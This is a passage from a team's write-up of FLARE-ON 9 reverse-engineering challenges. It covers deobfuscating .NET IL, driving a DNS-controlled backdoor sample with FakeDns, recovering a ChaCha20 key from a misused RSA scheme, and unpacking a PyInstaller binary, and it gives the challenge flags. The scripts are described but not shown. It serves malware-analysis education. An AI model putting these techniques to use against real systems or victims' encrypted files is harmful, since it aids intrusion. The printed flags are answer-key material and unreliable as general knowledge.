After patching, the IL is only valid in the context of the dynamic method. To reconstruct the binary properly, now we need to dump the IL before it can be modified, patch it with the right metadatatoken, and then patch the binary to fix the broken function.

We can create a script to do that in Python.

After patching the binary’s first layer, it decompiles correctly. The flared_70 function, responsible for running the second obfuscation layer, is a bit more complicated though.

The function will read one of its PE sections by name, using the first 8 characters of the hash of the metadata token and corresponding to the function that raised the InvalidProgramException error. This is decrypted with a hardcoded key. The decrypted section contains the IL of the function to call.

The IL patching is somewhat complicated this time and involves a little obfuscation.

The next problem is that we don’t have all the hashes beforehand, only when the function gets called. If we put a breakpoint on the resolving function, we can dump each hash.

We wrote a script to do the patching automatically and run it each time we add a new hash.

At this point most of the functions are deobfuscated and we can move on to the core of the challenge.

Initially we observed a large number of DNS resolution events, but didn’t see the malware attempt a network connection to our Flask server. While debugging the sample, though, we can see what looks like an attempt to process commands.

The problem is that we still don’t know how to interact with the backdoor. By backtracking to the source of each command, we can see that this sample is using the IP addresses received from these DNS resolutions for communication. Now we know why we didn’t see this sample try to connect to our Flask server, at least.

How this worked, we were about to learn, is a little complicated.

The first IP address is used to create a file, after which all commands arrive in the form of a “255.x.y.z” network address. Each IP address returned to the sample is parsed for its octets, but it might be easier to understand with a concrete example:

When a DNS resolution returns 255.0.0.2, the backdoor expects two specific bytes of data (43d and 50d) which are used to calculate what superficially resembles a network address, 43.50.0.0. The command processing function then performs a comparison and appends a value between 0 and 22.

The flared_56 function XORs a value in an array with 248 to determine if the result is equal to the value passed in the parameter or not. If so, it appends a small chunk of text to one of the object’s properties and that value is then removed from the array.

This tells us which command to send and in which order to append all the text chunks. We also noticed that when the array value is empty the _bool flag is set to false. That’s probably not an accident, so let’s inspect any functions using that flag.

This function is triggered each time an element is deleted from the value array.

We can expect something to happen once the right conditions are met, and endeavor to contrive them.

First, we generated a list of all possible IP address values. Then we configured FakeDns to resolve *.flare-on.com to that value list.

Next, we use FakeDns to respond to requests using a round-robin approach that resolves to each IP address in order, until finally we get the response we were waiting for.

*Flag: *_W3_4re_Known_f0rb31ng_Dyn4m1c@flare-on.com

Challenge 9 - “encryptor”

You're really crushing it to get this far. This is probably the end for you. Better luck next year!

Solution

For this challenge, we’re provided two files: a Windows PE executable and an encrypted file.

Encryption is interesting, and when we opened it in HxD we immediately saw a bunch of garbage followed by hexified data.

When the binary is executed, it helpfully indicates a path is expected as an argument.

But nothing happens when a random file is chosen, so a less random file must be what we need.

We begin by tracing the function in IDA and note that it’s looking for a specific extension, “.EncryptMe”.

Let’s try again with a random file that uses that specific file extension.

And we see a new file generated with a different extension (“.Encrypted”) and a larger file size.

Looking more closely at the executable in IDA, we determine that the binary is using ChaCha20 with a random key encrypted using RSA-2048.

We need that key.

On the most basic level, encryption is just a system of math made up of basic operations like addition and multiplication. RSA is considered a strong implementation because it uses big numbers, and most RSA libraries implement a big number library of some kind. But we don’t really want to reverse all that just for the key, especially when we can find all the related functions in the sample and apply our knowledge of RSA.

We need to generate prime numbers for two variables, p and q.

We need to generate the modulus value n, which is equal to p*q. Using p and q as inputs, return n. So far, so good.

And we’re going to need a value phi, which is equal to (p-1)*(q-1).

We deduce that the 2 previous functions are the decrement function that produce p-1 and q-1.

Finally, we have an operation that produces the secret key d using phi and the exponent e.

Notice however that something fishy is already happening because the global variable containing the exponent e is reused and will contain the private key d. Now at least we can validate that the key is encrypted with the private key (d, n) instead of the public key (e, n).

We can use the public key to decrypt the ChaCha20 key, however we don’t know the modulus value or the encrypted key. Fortunately for us, they are both hexified and appended to the encrypted output file.

The encrypted ChaCha20 key is actually contained in the last three rows of the init structure, along with the nonce.

The key can be decrypted with a little python.

And we’re one step closer.

By tracing execution with x64dbg, we can force the decryption of the encrypted file by replacing the ChaCha20 parameters with the key and nonce we’ve just obtained. Another flag down, and one more to go!

*Flag: *_R$A$16n1n615_0pp0$17e0f_3ncryp710n@flare-on.com

Challenge 10 - The Karaoke Labyrinth

Somehow every member of the team has a nearly encyclopedic knowledge of song lyrics, and intuited their way through this one. Surprisingly whimsical, no reversing necessary.

Challenge 11 - “The challenge that shall not be named”

Protection, Obfuscation, Restrictions... Oh my!! The good part about this one is that if you fail to solve it I don't need to ship you a prize.

Solution

This was the eleventh and final challenge of FLARE-ON 9, and unexpectedly straightforward after some of the previous ones. This challenge consisted of a binary, running strings on it gave some hints about it.

“PyInstaller bundles a Python application and all its dependencies into a single package” is a nice summary of what PyInstaller is used for. This binary is compiled from Python scripts and packaged as a single executable, which is less of a problem than it might seem. We encounter those often enough that we’ve found tools to extract python compiled in this way, and we pulled out a few python files.

One of the files, 11.py, threw errors when we attempted to step through it and complained that the library “‘crypt’ has no attribute ‘ARC4’”.

That’s kind of interesting. Notably, we can modify the crypt.py script located in “PYTHON_FOLDER_PATH\lib\crypt.py”, adding the ARC4 function and the class it returns with our custom encrypt function.

When we run 11.py again, this time it prints us a beautiful flag which wakes us from the dream (or nightmare) that is the FLARE-ON challenge.

*Flag: *_Pyth0n_Prot3ction_tuRn3d_Upt0_11@flare-on.com

Conclusion

For the 2022 FLARE-ON challenge, that’s a wrap! We learned a bunch of new things this year and we hope you enjoyed reading our solutions. We’re looking forward to reading yours and learning things we didn’t try.

For those who have waited patiently for a link to scripts, here you go.

Acknowledgements

We want to thank Elastic and Devon Kerr, who gave us the opportunity to spend a week focused on this event. Thanks also to the Mandiant team for the fun and thoughtful challenges: well done. To the researchers who participated, thank you for making it a phenomenal week of learning.